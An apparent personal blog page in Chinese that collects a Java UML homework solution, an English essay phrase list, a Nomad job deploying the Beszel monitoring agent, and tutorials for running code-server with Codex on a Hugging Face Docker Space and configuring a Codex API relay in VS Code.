        System.out.println("Name: " + getName() + ", ID: " + studentID);
33
    }
34

35
    public boolean isEqual(Student s) {
36
        return hasSameName(s) && this.studentID == s.getID();
37
    }
38
}
39

40
// Employee.java
41
public class Employee extends Person {
42
    private double salary;
43

44
    public Employee(String name, double salary) {
45
        super(name);
46
        this.salary = salary;
47
    }
48

49
    public void   setSalary(double salary) { this.salary = salary; }
50
    public double getSalary() { return salary; }
51

52
    @Override
53
    public void display() {
54
        System.out.println("Name: " + getName() + ", Salary: " + salary);
55
    }
56
}

显示更多显示更少

UML图综合大题2.2

1
import java.io.*;
2
import java.util.*;
3

4
public class MainProgram {
5

6
    public static void main(String[] args) throws IOException {
7
        List<Student>  students  = new ArrayList<>();
8
        List<Employee> employees = new ArrayList<>();
9

10
        // ─── (A) 读取 students.txt ───────────────────────────────────
11
        BufferedReader br = new BufferedReader(new FileReader("students.txt"));
12
        String line;
13
        while ((line = br.readLine()) != null) {
14
            String[] p = line.trim().split("\\s+");
15
            if (p.length >= 2)
16
                students.add(new Student(p[0], Integer.parseInt(p[1])));
17
        }
18
        br.close();
19

20
        // 读取 employees.txt
21
        br = new BufferedReader(new FileReader("employees.txt"));
22
        while ((line = br.readLine()) != null) {
23
            String[] p = line.trim().split("\\s+");
24
            if (p.length >= 2)
25
                employees.add(new Employee(p[0], Double.parseDouble(p[1])));
26
        }
27
        br.close();
28

29
        // ─── (B) 查找重复学生记录（name 和 ID 均相同）─────────────────
30
        System.out.println("=== Duplicate Students ===");
31
        boolean found = false;
32
        for (int i = 0; i < students.size(); i++) {
33
            for (int j = i + 1; j < students.size(); j++) {
34
                if (students.get(i).isEqual(students.get(j))) {
35
                    System.out.print("Duplicate: ");
36
                    students.get(i).display();
37
                    found = true;
38
                }
39
            }
40
        }
41
        if (!found) System.out.println("No exact duplicates found.");
42

43
        // ─── (C) 查找同名的学生和员工 ─────────────────────────────────
44
        System.out.println("\n=== Students & Employees with Same Name ===");
45
        for (Student  s : students) {
46
            for (Employee e : employees) {
47
                if (s.hasSameName(e)) {
48
                    System.out.println("Match found:");
49
                    s.display(); e.display();
50
                }
51
            }
52
        }
53
        // 预期输出: Shirley（学生 751）和 Shirley（员工 7500）同名
54

55
        // ─── (D) 薪资最高的 3 名员工 ──────────────────────────────────
56
        System.out.println("\n=== Top 3 Employees by Salary ===");
57
        employees.sort((a, b) -> Double.compare(b.getSalary(), a.getSalary()));
58
        for (int i = 0; i < Math.min(3, employees.size()); i++) {
59
            employees.get(i).display();
60
        }
61
        // 预期: Alex(15000), Steven(12800), Vivian(12300)
62
    }
63
}

显示更多显示更少

英语作文素材积累

Sat, 11 Apr 2026 00:00:00 GMT

英语作文素材积累（持续更新）#

一、背景引入与现象描述 (Introduction & Background)#

适用于文章开篇，用于交代时代背景、社会现状或核心议题。

1 随着…的快速发展 | with the rapid development of ...
2 …的显著提高/ 稳步增长 | the remarkable improvement/ steady growth of ...
3 先进的科学技术 | advanced science and technology
4 面临新的机遇和挑战 | be faced with new opportunities and challenges
7 引起了广泛的公众关注 | arouse wide public concern/ draw public attention
9 热烈的讨论/ 争论 | a heated discussion/ debate
10 有争议性的问题 | a controversial issue
24 复杂的社会现象 | a complicated social phenomenon
42 可靠的信息源 | a reliable source of information
43 宝贵的自然资源 | valuable natural resources
46 在…的方方面面 | in all aspects of ...
49 科技的飞速更新 | the ever-accelerated updating of science and technology
55 …必然趋势 | an irresistible trend of...
56 日益激烈的社会竞争 | the increasingly fierce social competition

二、观点陈述与态度表达 (Opinion & Attitude)#

用于引出大众观点、表明个人立场或进行学术性让步。

5 人们普遍认为 | It is commonly believed/ recognized that…
8 不可否认 | It is undeniable that…/ There is no denying that…
11 完全不同的观点 | a totally different argument
12 一些人…而另外一些人… | Some people… while others…
13 就我而言/ 就个人而言 | As far as I am concerned, / Personally,
14 就…达到绝对的一致 | reach an absolute consensus on…
15 有充分的理由支持 | be supported by sound reasons
16 双方的论点 | argument on both sides
37 无可非议 | blameless / beyond reproach
39 应当承认 | Admittedly,
50 对这一问题持有不同态度 | hold different attitudes towards this issue
51 支持前/后种观点的人 | people / those in favor of the former/ latter opinion
68 对…观点因人而异 | Views on …vary from person to person.
85 毫无疑问 | Undoubtedly, / There is no doubt that…

三、利弊权衡与对比分析 (Advantages, Disadvantages & Comparison)#

用于客观评估事物两面性、进行长短利益对比或事物替换。

22 …远远大于… | the ... far outweigh the ...
57 眼前利益 | immediate interest/ short-term interest
59 …有其自身的优缺点 | … has its merits and demerits
67 有利有弊 | Every coin has its two sides. No garden without weeds.
79 与…比较 | in comparison with
80 相反 | in contrast / on the contrary.
81 代替 | replace/ substitute / take the place of

四、影响分析与因果推导 (Impact & Causality)#

用于阐述事件的作用机制、社会效应或事物间的逻辑关联。

6 社会发展的必然结果 | the inevitable result of social development
17 发挥着日益重要的作用 | play an increasingly important role in...
18 对…必不可少 | be indispensable to
21 对…产生有利/不利的影响 | exert positive/ negative effects on...
23 导致，引起 | lead to/ give rise to/ contribute to/ result in
33 对…有益 | be beneficial / conducive to
62 对…有害 | do harm to / be harmful to/ be detrimental to
74 有直接/间接关系 | be directly / indirectly related to...
86 增进相互了解 | enhance/ promote mutual understanding

五、解决方案与行动倡议 (Solutions & Actions)#

用于提出具体措施、倡导社会行动或强调实践导向。

30 考虑到诸多因素 | take many factors into account/ consideration
32 做出共同努力 | make joint efforts
38 致力于/ 投身于 | be committed / devoted to…
52 有/ 提供如下理由/ 证据 | have/ provide the following reasons/ evidence
54 理论和实践相结合 | integrate theory with practice
60 扬长避短 | Exploit to the full one’s favorable conditions and avoid unfavorable ones
61 取其精髓，取其糟粕 | Take the essence and discard the dregs.
63 交流思想/ 情感/ 信息 | exchange ideas/ emotions/ information
64 跟上…的最新发展 | keep pace with / catch up with/ keep abreast with the latest development of ...
65 采取有效措施来… | take effective measures to do sth.
69 重视 | attach great importance to ...
71 把时间和精力放在…上 | focus time and energy on ...
75 提出折中提议 | set forth a compromise proposal
77 缓解压力/ 减轻负担 | relieve stress/ burden
78 优先考虑/发展… | give (top) priority to sth.
87 充分利用 | make full use of / take advantage of
90 更多地强调 | put more emphasis on...
91 适应社会发展 | adapt oneself to the development of society

六、逻辑衔接与篇章结构 (Logical Connectors & Structure)#

用于段落过渡、论点排序及层次推进，提升文章连贯性。

31 从另一个角度 | from another perspective
53 在一定程度上 | to some extent/ degree / in some way
93 主要理由列举如下 | The main reasons are listed as follows:
94 首先 | First, / Firstly, /In the first place, /To begin with ...
95 其次 | Second, / Secondly, / In the second place
96 再次 | Besides / In addition, / Additionally, / Moreover, / Furthermore
97 最后 | Finally, / Last but not the least, / Above all, / Lastly,
98 总而言之 | All in all, / To sum up, / In summary, / In a word,

七、核心价值与个人发展 (Values & Personal Development)#

聚焦个体素养提升、社会责任担当及宏观发展目标。

25 责任感 / 成就感 | sense of responsibility/ sense of achievement
26 竞争与合作精神 | sense of competition and cooperation
27 开阔眼界 | widen one’s horizon/ broaden one’s vision
28 学习知识和技能 | acquire knowledge and skills
29 经济/心理负担 | financial burden / psychological burden
34 为社会做贡献 | make contributions to the society
35 打下坚实的基础 | lay a solid foundation for
36 综合素质 | comprehensive quality
40 不可推卸的义务 | unshakable duty
41 满足需求 | satisfy/ meet the needs of…
48 社会进步的体现 | a symbol of society progress
70 社会地位 | social status
72 扩大知识面 | expand one’s scope of knowledge
73 身心两方面 | both physically and mentally
88 承受更大的工作压力 | suffer from heavier work pressure
89 保障社会的稳定和繁荣 | guarantee the stability and prosperity of our society
92 实现梦想 | realize one’s dream/ make one’s dream come true
99 我们还有很长的路要走 | We still have a long way to go.

八、写作提示与高频替换 (Writing Tips & Lexical Substitution)#

提供学术化词汇替换方案及句式引用技巧，避免表达单一化。

19 正如谚语所说 | As the proverb goes:
20 …也不例外 | ... be no exception
76 可以取代 “think”的词 | believe / claim / maintain / argue / insist / hold the opinion / belief that
82 经不起推敲 | cannot bear closer analysis / cannot hold water
84 社会进步的反映 | mirror of social progress

Nomad自动分配Beszel监控

Sun, 01 Mar 2026 00:00:00 GMT

一、在Beszel中添加客户端#

Beszel Hub部署此处略过，请参照官网部署Beszel.dev

复制通用令牌和SSH公钥，后面连接时要用到。

注意一定是通用令牌并设置为永久，后续才能实现服务器监控的自动添加

二、在Nomad中新建job 连接Beszel#

新建job代码如下，保存并运行即可注意，机器需要开启raw_exec才能正常运行beszel监控

1
# 这个变量用于控制 job 要部署到哪些 datacenter。
2
# 默认是 dc1；如果你的 Nomad 环境使用别的 datacenter，可在运行时覆盖。
3
variable "datacenters" {
4
  type    = list(string)
5
  default = ["dc1"]
6
}
7

8
# Beszel Agent system job。
9
# type = system 表示：每个符合约束条件的 Nomad Client 节点都会部署 1 个 allocation。
10
job "beszel-agent-system" {
11
  type        = "system"
12
  datacenters = var.datacenters
13

14
  # 只允许在 Linux 节点上运行。
15
  constraint {
16
    attribute = "${attr.kernel.name}"
17
    value     = "linux"
18
  }
19

20
  # 只允许在启用了 raw_exec 驱动的节点上运行。
21
  # 因为这个任务会直接在宿主机执行 Beszel Agent，而不是通过容器运行。
22
  constraint {
23
    attribute = "${attr.driver.raw_exec}"
24
    value     = "1"
25
  }
26

27
  group "agent" {
28
    network {
29
      mode = "host"
30

31
      # 让 Nomad 为每个节点自动分配一个可用端口，避免固定端口冲突。
32
      port "agent" {
33
      }
34
    }
35

36
    # 当 agent 异常退出时的重启策略。
37
    restart {
38
      attempts = 10
39
      interval = "1h"
40
      delay    = "15s"
41
      mode     = "delay"
42
    }
43

44
    task "beszel-agent" {
45
      # 使用 raw_exec 直接在宿主机运行二进制。
46
      driver = "raw_exec"
47

48
      # 直接注入 Beszel Agent 所需环境变量。
49
      # 这里保留原始写法：Hub / Token / 公钥直接写在 job 中。
50
      env {
51
        BESZEL_VERSION = "0.18.4"
52
        HUB_URL        = "你部署的Hub地址"
53
        TOKEN          = "上一步获取的永久token"
54
        KEY            = "上一步获取的SSH公钥"
55
        DATA_DIR       = "/var/lib/beszel-agent"
56
      }
57

58
      # 先执行 Nomad 模板渲染出来的启动脚本。
59
      config {
60
        command = "/bin/bash"
61
        args    = ["-lc", "exec \"$NOMAD_TASK_DIR/start-beszel-agent.sh\""]
62
      }
63

64
      # 启动脚本：负责选择端口、下载 agent、检测 GPU，并最终启动 Beszel Agent。
65
      template {
66
        destination = "local/start-beszel-agent.sh"
67
        perms       = "0755"
68
        data        = <<-EOF_SCRIPT
69
          #!/usr/bin/env bash
70
          set -euo pipefail
71

72
          log() {
73
            printf '[beszel-nomad] %s\n' "$1"
74
          }
75

76
          if [ -z "$BESZEL_VERSION" ]; then
77
            log "BESZEL_VERSION 未设置，退出"
78
            exit 1
79
          fi
80

81
          OS=$(uname -s | tr '[:upper:]' '[:lower:]')
82
          ARCH=$(uname -m)
83

84
          # 识别宿主机 CPU 架构，并映射到 Beszel Release 的命名。
85
          case "$ARCH" in
86
            x86_64|amd64)
87
              ARCH="amd64"
88
              ;;
89
            aarch64|arm64)
90
              ARCH="arm64"
91
              ;;
92
            armv7l|armv6l|arm)
93
              ARCH="arm"
94
              ;;
95
            ppc64le)
96
              ARCH="ppc64le"
97
              ;;
98
            riscv64)
99
              ARCH="riscv64"
100
              ;;
101
            *)
102
              log "不支持的 CPU 架构: $ARCH"
103
              exit 1
104
              ;;
105
          esac
106

107
          # 优先使用 Nomad 分配的动态端口；如果没有，则回退到 45876。
108
          LISTEN_VALUE=$(printenv NOMAD_PORT_agent 2>/dev/null || true)
109
          if [ -n "$LISTEN_VALUE" ]; then
110
            export LISTEN="$LISTEN_VALUE"
111
          else
112
            export LISTEN="45876"
113
          fi
114
          log "使用监听端口: $LISTEN"
115

116
          STATE_DIR="$DATA_DIR"
117
          CACHE_DIR="$STATE_DIR/nomad-cache"
118

119
          # 优先写入宿主机持久目录；失败时回退到 allocation 目录。
120
          if ! mkdir -p "$STATE_DIR" "$CACHE_DIR" 2>/dev/null; then
121
            STATE_DIR="$NOMAD_ALLOC_DIR/beszel-agent-data"
122
            CACHE_DIR="$NOMAD_ALLOC_DIR/beszel-agent-cache"
123
            mkdir -p "$STATE_DIR" "$CACHE_DIR"
124
            export DATA_DIR="$STATE_DIR"
125
            log "回退到分配目录保存状态: $STATE_DIR"
126
          fi
127

128
          BIN_PATH="$CACHE_DIR/beszel-agent"
129

130
          # 第一次启动时下载 Beszel Agent；后续直接复用缓存的二进制。
131
          if [ ! -x "$BIN_PATH" ]; then
132
            TMP_DIR=$(mktemp -d)
133
            trap 'rm -rf "$TMP_DIR"' EXIT
134
            ARCHIVE_URL="https://github.com/henrygd/beszel/releases/download/v$BESZEL_VERSION/beszel-agent_"$OS"_"$ARCH".tar.gz"
135
            ARCHIVE_PATH="$TMP_DIR/beszel-agent.tar.gz"
136

137
            log "下载 Beszel Agent v$BESZEL_VERSION ($OS/$ARCH)"
138

139
            if command -v curl >/dev/null 2>&1; then
140
              curl -fsSL --retry 5 --connect-timeout 15 "$ARCHIVE_URL" -o "$ARCHIVE_PATH"
141
            elif command -v wget >/dev/null 2>&1; then
142
              wget -qO "$ARCHIVE_PATH" "$ARCHIVE_URL"
143
            else
144
              log "需要 curl 或 wget 来下载 Beszel Agent"
145
              exit 1
146
            fi
147

148
            tar -xzf "$ARCHIVE_PATH" -C "$TMP_DIR"
149
            install -m 0755 "$TMP_DIR/beszel-agent" "$BIN_PATH"
150
          fi
151

152
          # 尽量识别当前节点的 GPU 类型；如果没有 GPU，也正常启动 agent。
153
          nvidia_found=0
154
          amd_found=0
155
          intel_found=0
156

157
          if command -v nvidia-smi >/dev/null 2>&1; then
158
            nvidia_found=1
159
          fi
160

161
          for vendor_file in /sys/class/drm/card*/device/vendor; do
162
            [ -f "$vendor_file" ] || continue
163
            case "$(cat "$vendor_file")" in
164
              0x10de)
165
                nvidia_found=1
166
                ;;
167
              0x1002)
168
                amd_found=1
169
                ;;
170
              0x8086)
171
                intel_found=1
172
                ;;
173
            esac
174
          done
175

176
          # NVIDIA GPU 存在但缺少 nvidia-smi 时给出提示。
177
          if [ "$nvidia_found" -eq 1 ] && ! command -v nvidia-smi >/dev/null 2>&1; then
178
            log "检测到 NVIDIA GPU，但宿主机没有 nvidia-smi；请确认已安装驱动工具"
179
          fi
180

181
          # Intel GPU 存在但缺少常用采集工具时给出提示。
182
          if [ "$intel_found" -eq 1 ] && ! command -v intel_gpu_top >/dev/null 2>&1 && ! command -v nvtop >/dev/null 2>&1; then
183
            log "检测到 Intel GPU，但宿主机没有 intel_gpu_top 或 nvtop；Intel GPU 监控可能不完整"
184
          fi
185

186
          # 没有 GPU 时只上报主机指标；有 GPU 时记录识别结果。
187
          if [ "$nvidia_found" -eq 0 ] && [ "$amd_found" -eq 0 ] && [ "$intel_found" -eq 0 ]; then
188
            log "当前节点未检测到 GPU，Beszel 将仅上报主机指标"
189
          else
190
            summary=""
191
            [ "$nvidia_found" -eq 1 ] && summary="$summary NVIDIA"
192
            [ "$amd_found" -eq 1 ] && summary="$summary AMD"
193
            [ "$intel_found" -eq 1 ] && summary="$summary Intel"
194
            log "检测到 GPU 类型:$summary"
195
          fi
196

197
          # 启动 Beszel Agent 主进程。
198
          exec "$BIN_PATH"
199
        EOF_SCRIPT
200
      }
201

202
      # 这个任务本身占用的 Nomad 资源非常低。
203
      resources {
204
        cpu    = 100
205
        memory = 128
206
      }
207
    }
208
  }
209
}

显示更多显示更少

使用Huggingface的免费Docker空间运行Code Server

Tue, 24 Feb 2026 00:00:00 GMT

方案涵盖的功能#

支持Python，Java，C++，Rust，Go，Kotlin等常用编程语言
同时安装Android SDK
安装Codex，支持第三方中转API
预装Playwright及其MCP Server，便于Codex使用
HF Space Free提供的2H16G服务器足够日常使用

方案仍有的不足#

镜像臃肿，部署时间长
数据不可持久化保存
部分地区网络较差，HF延迟高（域名被墙）

部署教程#

1.进入Huggingface，创建Docker Space#

前置条件：1.自备魔法上网 2.拥有Huggingface账号 按照下图的方式新建一个Docker Space，选择Docker，Docker template为Blank

其他的不用修改，直接创建Space

2.进入Space，新建两个文件#

新建一个名为`Dockerfile`的文件，内容如下：#

1
FROM python:3.11-slim-bookworm
2

3
ENV DEBIAN_FRONTEND=noninteractive
4
ENV TZ=Etc/UTC
5
ENV PORT=7860
6
ENV HOME=/home/coder
7
ENV PIP_DISABLE_PIP_VERSION_CHECK=1
8
ENV PYTHONDONTWRITEBYTECODE=1
9
ENV PYTHONUNBUFFERED=1
10

11
ARG CODE_SERVER_VERSION=4.109.2
12
ARG KOTLIN_VERSION=1.9.25
13
ARG ANDROID_CMDLINE_TOOLS_VERSION=11076708
14
ARG ANDROID_PLATFORM=34
15
ARG ANDROID_BUILD_TOOLS=34.0.0
16
ARG GO_VERSION=1.26.1
17

18
ENV KOTLIN_HOME=/opt/kotlin
19
ENV ANDROID_SDK_ROOT=/opt/android-sdk
20
ENV ANDROID_HOME=/opt/android-sdk
21
ENV GOROOT=/usr/local/go
22
ENV GOPATH=/home/coder/go
23
ENV PLAYWRIGHT_BROWSERS_PATH=/opt/ms-playwright
24
ENV PATH="${PATH}:${KOTLIN_HOME}/bin:${ANDROID_SDK_ROOT}/cmdline-tools/latest/bin:${ANDROID_SDK_ROOT}/platform-tools:${GOROOT}/bin:${GOPATH}/bin"
25

26
RUN apt-get update && apt-get install -y --no-install-recommends \
27
    ca-certificates curl git bash sudo tini jq procps unzip \
28
    # C/C++ toolchain + headers
29
    build-essential gcc g++ make cmake ninja-build gdb clang clangd \
30
    libc6-dev linux-libc-dev pkg-config \
31
    # Java + Node
32
    openjdk-17-jdk-headless maven \
33
    nodejs npm \
34
    # Databases
35
    default-mysql-server default-mysql-client \
36
    postgresql postgresql-client \
37
    redis-server redis-tools \
38
    # Rust + Go
39
    rustc cargo rustfmt \
40
    && rm -rf /var/lib/apt/lists/*
41

42
# Install code-server (pinned version)
43
RUN curl -fsSL "https://github.com/coder/code-server/releases/download/v${CODE_SERVER_VERSION}/code-server_${CODE_SERVER_VERSION}_amd64.deb" -o /tmp/code-server.deb \
44
    && dpkg -i /tmp/code-server.deb \
45
    && rm -f /tmp/code-server.deb
46

47
# Kotlin compiler
48
RUN curl -fsSL "https://github.com/JetBrains/kotlin/releases/download/v${KOTLIN_VERSION}/kotlin-compiler-${KOTLIN_VERSION}.zip" -o /tmp/kotlin.zip \
49
    && unzip -q /tmp/kotlin.zip -d /opt \
50
    && mv /opt/kotlinc "${KOTLIN_HOME}" \
51
    && ln -s "${KOTLIN_HOME}/bin/kotlin" /usr/local/bin/kotlin \
52
    && ln -s "${KOTLIN_HOME}/bin/kotlinc" /usr/local/bin/kotlinc \
53
    && rm -f /tmp/kotlin.zip
54

55
# Go (official tarball for newer version than Debian repos)
56
RUN curl -fsSL "https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz" -o /tmp/go.tgz \
57
    && rm -rf /usr/local/go \
58
    && tar -C /usr/local -xzf /tmp/go.tgz \
59
    && rm -f /tmp/go.tgz
60

61
# Android SDK command-line tools + common packages
62
RUN mkdir -p "${ANDROID_SDK_ROOT}/cmdline-tools" \
63
    && curl -fsSL "https://dl.google.com/android/repository/commandlinetools-linux-${ANDROID_CMDLINE_TOOLS_VERSION}_latest.zip" -o /tmp/android-tools.zip \
64
    && unzip -q /tmp/android-tools.zip -d "${ANDROID_SDK_ROOT}/cmdline-tools" \
65
    && mv "${ANDROID_SDK_ROOT}/cmdline-tools/cmdline-tools" "${ANDROID_SDK_ROOT}/cmdline-tools/latest" \
66
    && rm -f /tmp/android-tools.zip \
67
    && yes | "${ANDROID_SDK_ROOT}/cmdline-tools/latest/bin/sdkmanager" --sdk_root="${ANDROID_SDK_ROOT}" --licenses \
68
    && "${ANDROID_SDK_ROOT}/cmdline-tools/latest/bin/sdkmanager" --sdk_root="${ANDROID_SDK_ROOT}" \
69
      "platform-tools" "platforms;android-${ANDROID_PLATFORM}" "build-tools;${ANDROID_BUILD_TOOLS}"
70

71
# Python core deps
72
RUN pip install --no-cache-dir --upgrade pip setuptools wheel && \
73
    PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1 pip install --no-cache-dir \
74
    numpy pandas scipy scikit-learn matplotlib \
75
    jupyterlab ipykernel notebook \
76
    requests httpx aiohttp pyyaml python-dotenv tqdm rich \
77
    fastapi uvicorn[standard] pydantic flask \
78
    sqlalchemy alembic psycopg2-binary redis \
79
    pytest black isort ruff mypy \
80
    playwright
81

82
# Codex CLI + Playwright + Playwright MCP
83
# Remove pip-installed playwright CLI to avoid npm binary conflict
84
RUN rm -f /usr/local/bin/playwright \
85
    && npm install -g @openai/codex playwright @playwright/mcp \
86
    && npm cache clean --force
87

88
# Playwright browsers + system deps (Chromium/Firefox/WebKit)
89
RUN mkdir -p "${PLAYWRIGHT_BROWSERS_PATH}" \
90
    && playwright install --with-deps
91

92
# Create user
93
RUN useradd -m -u 1000 -s /bin/bash coder \
94
    && echo "coder ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers \
95
    && mkdir -p /home/coder/.config/code-server /home/coder/.codex /home/coder/go \
96
    && chown -R coder:coder /home/coder /opt/kotlin /opt/android-sdk /opt/ms-playwright
97

98
# Quick C build check (build-time)
99
RUN printf '#include <stdio.h>\nint main(){puts("ok");return 0;}\n' > /tmp/t.c \
100
    && gcc /tmp/t.c -o /tmp/t \
101
    && /tmp/t | grep -q ok \
102
    && rm -f /tmp/t.c /tmp/t
103

104
COPY --chown=coder:coder start.sh /usr/local/bin/start.sh
105
RUN chmod +x /usr/local/bin/start.sh
106

107
USER coder
108
WORKDIR /home/coder
109

110
EXPOSE 7860
111
ENTRYPOINT ["/usr/bin/tini", "--"]
112
CMD ["/usr/local/bin/start.sh"]

显示更多显示更少

新建一个名为`start.sh`的文件，内容如下#

本方法的Codex使用三方api，因此需要配置api_key 有关Codex的相关配置在脚本config.toml部分，可使用环境变量的方式修改API_KEY和BASE_URL config.toml的配置教程可参考上一篇文章，也可参考你自己模型提供商的教程

1
#!/usr/bin/env bash
2
set -euo pipefail
3

4
PORT="${PORT:-7860}"
5

6
if [[ -z "${PASSWORD:-}" && -z "${HASHED_PASSWORD:-}" ]]; then
7
  echo "[ERROR] Missing PASSWORD/HASHED_PASSWORD secret."
8
  exit 1
9
fi
10

11
if [[ -d "/data" ]]; then
12
  WORKDIR="/data/workspace"
13
  EXT_DIR="/data/code-server/extensions"
14
  USER_DATA_DIR="/data/code-server/user-data"
15
  CODEX_DIR="/data/.codex"
16
else
17
  WORKDIR="${HOME}/workspace"
18
  EXT_DIR="${HOME}/.local/share/code-server/extensions"
19
  USER_DATA_DIR="${HOME}/.local/share/code-server/user-data"
20
  CODEX_DIR="${HOME}/.codex"
21
fi
22

23
mkdir -p "$WORKDIR" "$EXT_DIR" "$USER_DATA_DIR" "${USER_DATA_DIR}/User" "${HOME}/.config/code-server" "$CODEX_DIR"
24

25
cat > "${HOME}/.config/code-server/config.yaml" <<EOF
26
bind-addr: 0.0.0.0:${PORT}
27
auth: password
28
cert: false
29
EOF
30

31
if [[ -n "${HASHED_PASSWORD:-}" ]]; then
32
  echo "hashed-password: ${HASHED_PASSWORD}" >> "${HOME}/.config/code-server/config.yaml"
33
else
34
  echo "password: ${PASSWORD}" >> "${HOME}/.config/code-server/config.yaml"
35
fi
36

37
# Codex config.toml
38
: "${CODEX_MODEL_PROVIDER:=sub2api}"
39
: "${CODEX_MODEL:=你想用的模型名称}"
40
: "${CODEX_REASONING_EFFORT:=xhigh}"
41
: "${CODEX_NETWORK_ACCESS:=enabled}"
42
: "${CODEX_DISABLE_RESPONSE_STORAGE:=true}"
43
: "${CODEX_WSL_ACK:=true}"
44
: "${CODEX_VERBOSITY:=high}"
45
: "${CODEX_PROVIDER_NAME:=sub2api}"
46
: "${CODEX_BASE_URL:=你的中转站地址}"
47
: "${CODEX_WIRE_API:=responses}"
48
: "${CODEX_REQUIRES_OPENAI_AUTH:=true}"
49
: "${PLAYWRIGHT_MCP_ENABLE:=true}"
50
: "${PLAYWRIGHT_MCP_HOST:=127.0.0.1}"
51
: "${PLAYWRIGHT_MCP_PORT:=8931}"
52
: "${PLAYWRIGHT_MCP_URL:=http://${PLAYWRIGHT_MCP_HOST}:${PLAYWRIGHT_MCP_PORT}/mcp}"
53

54
cat > "${CODEX_DIR}/config.toml" <<EOF
55
model_provider = "${CODEX_MODEL_PROVIDER}"
56
model = "${CODEX_MODEL}"
57
model_reasoning_effort = "${CODEX_REASONING_EFFORT}"
58
network_access = "${CODEX_NETWORK_ACCESS}"
59
disable_response_storage = ${CODEX_DISABLE_RESPONSE_STORAGE}
60
windows_wsl_setup_acknowledged = ${CODEX_WSL_ACK}
61
model_verbosity = "${CODEX_VERBOSITY}"
62

63
[model_providers.${CODEX_PROVIDER_NAME}]
64
name = "${CODEX_PROVIDER_NAME}"
65
base_url = "${CODEX_BASE_URL}"
66
wire_api = "${CODEX_WIRE_API}"
67
requires_openai_auth = ${CODEX_REQUIRES_OPENAI_AUTH}
68
EOF
69

70
if [[ "${PLAYWRIGHT_MCP_ENABLE}" == "true" ]]; then
71
  cat >> "${CODEX_DIR}/config.toml" <<EOF
72

73
[mcp_servers.playwright]
74
url = "${PLAYWRIGHT_MCP_URL}"
75
EOF
76
fi
77

78
if [[ -n "${CODEX_AUTH_JSON:-}" ]]; then
79
  printf '%s\n' "${CODEX_AUTH_JSON}" > "${CODEX_DIR}/auth.json"
80
elif [[ -n "${OPENAI_API_KEY:-}" ]]; then
81
  cat > "${CODEX_DIR}/auth.json" <<EOF
82
{
83
  "OPENAI_API_KEY": "${OPENAI_API_KEY}"
84
}
85
EOF
86
fi
87

88
chmod 600 "${CODEX_DIR}/config.toml" 2>/dev/null || true
89
chmod 600 "${CODEX_DIR}/auth.json" 2>/dev/null || true
90

91
if [[ "${CODEX_DIR}" != "${HOME}/.codex" ]]; then
92
  rm -rf "${HOME}/.codex"
93
  ln -s "${CODEX_DIR}" "${HOME}/.codex"
94
fi
95

96
# 默认中文界面
97
cat > "${USER_DATA_DIR}/User/locale.json" <<EOF
98
{
99
  "locale": "zh-cn"
100
}
101
EOF
102

103
# 首次启动安装扩展（幂等）
104
EXT_MARKER="${USER_DATA_DIR}/.extensions_installed"
105
if [[ ! -f "${EXT_MARKER}" ]]; then
106
  echo "[INFO] Installing extensions on first boot..."
107

108
  install_ext() {
109
    code-server --extensions-dir "${EXT_DIR}" --install-extension "$1" || true
110
  }
111

112
  # 你指定的 3 个（尽量装）
113
  install_ext ms-vscode.cpptools
114
  install_ext ms-vscode.cpptools-themes
115
  install_ext ms-vscode.cpp-devtools
116
  install_ext ms-vscode.cmake-tools
117
  install_ext danielpinto8zz6.c-cpp-compile-run
118
  install_ext golang.go
119
  install_ext rust-lang.rust-analyzer
120
  install_ext redhat.java
121
  install_ext vscjava.vscode-java-debug
122
  install_ext vscjava.vscode-java-test
123
  install_ext vscjava.vscode-maven
124
  install_ext vscjava.vscode-gradle
125
  install_ext vscjava.vscode-java-dependency
126
  install_ext ms-python.vscode-pylance
127
  install_ext ms-python.python
128
  install_ext ms-python.debugpy
129
  install_ext ms-python.vscode-python-envs
130
  install_ext ms-playwright.playwright
131

132
  # Codex
133
  install_ext openai.chatgpt
134

135
  # 若微软扩展不可用，装稳定替代
136
  install_ext MS-CEINTL.vscode-language-pack-zh-hans
137
  install_ext llvm-vs-code-extensions.vscode-clangd
138
  install_ext ms-vscode.makefile-tools
139
  install_ext vadimcn.vscode-lldb
140

141
  touch "${EXT_MARKER}"
142
fi
143

144
if [[ "${PLAYWRIGHT_MCP_ENABLE}" == "true" ]]; then
145
  if command -v playwright-mcp >/dev/null 2>&1; then
146
    echo "[INFO] Starting Playwright MCP server at ${PLAYWRIGHT_MCP_URL}"
147
    nohup playwright-mcp --headless --browser chromium --no-sandbox --port "${PLAYWRIGHT_MCP_PORT}" --host "${PLAYWRIGHT_MCP_HOST}" >/tmp/playwright-mcp.log 2>&1 &
148
  else
149
    echo "[WARN] Playwright MCP not installed; skipping server start."
150
  fi
151
fi
152

153
echo "[INFO] Java:   $(java -version 2>&1 | head -n1 || true)"
154
echo "[INFO] Python: $(python --version || true)"
155
echo "[INFO] Pip:    $(pip --version || true)"
156
echo "[INFO] Node:   $(node --version || true)"
157
echo "[INFO] g++:    $(g++ --version | head -n1 || true)"
158
echo "[INFO] Rust:   $(rustc --version || true)"
159
echo "[INFO] Cargo:  $(cargo --version || true)"
160
echo "[INFO] Go:     $(go version || true)"
161
echo "[INFO] Playwright: $(playwright --version 2>/dev/null || true)"
162

163
exec code-server "$WORKDIR" \
164
  --extensions-dir "$EXT_DIR" \
165
  --user-data-dir "$USER_DATA_DIR" \
166
  --disable-telemetry \
167
  --disable-update-check \
168
  --log warn

显示更多显示更少

进入README.md,开放端口7860

等待程序开始构建（首次部署时间比较久）

3.进入Space Settings，新建两个Secret#

注意：一定是要Secret，确保API_KEY的安全性

1
PASSWORD: 你自己设置的密码
2
API_KEY: 你在你的Codex渠道获取的API_KEY，具体可见上一篇文章

4.等待部署完成，开始愉快的使用#

免责声明#

使用本教程产生的一切不良后果与本人无关，此方法可能会导致Huggingface账号被封禁，请自行承担风险使用本方法造成。另外，此部署方式文件缺少持久化存储，容器重启就会丢失，请配合保活使用

VSCODE中配置Codex中转api

Thu, 12 Feb 2026 00:00:00 GMT

配置过程#

1.在vscode中安装Codex插件#

如图，安装第一个插件

2.安装Codex-cli#

请先确认自己的电脑上已安装nodejs和npm包管理器 安装nodejs 安装完后请打开cmd确认是否安装完成，分别输入下面的代码

1
node -v
2
npm -v

如果能正常显示版本号，则说明安装成功，进入下一步，输入命令，使用npm安装Codex-cli（此步骤可能需要魔法上网） npm install -g @openai/codex 完成后输入codex --version 确认是否安装成功

3.配置Codex#

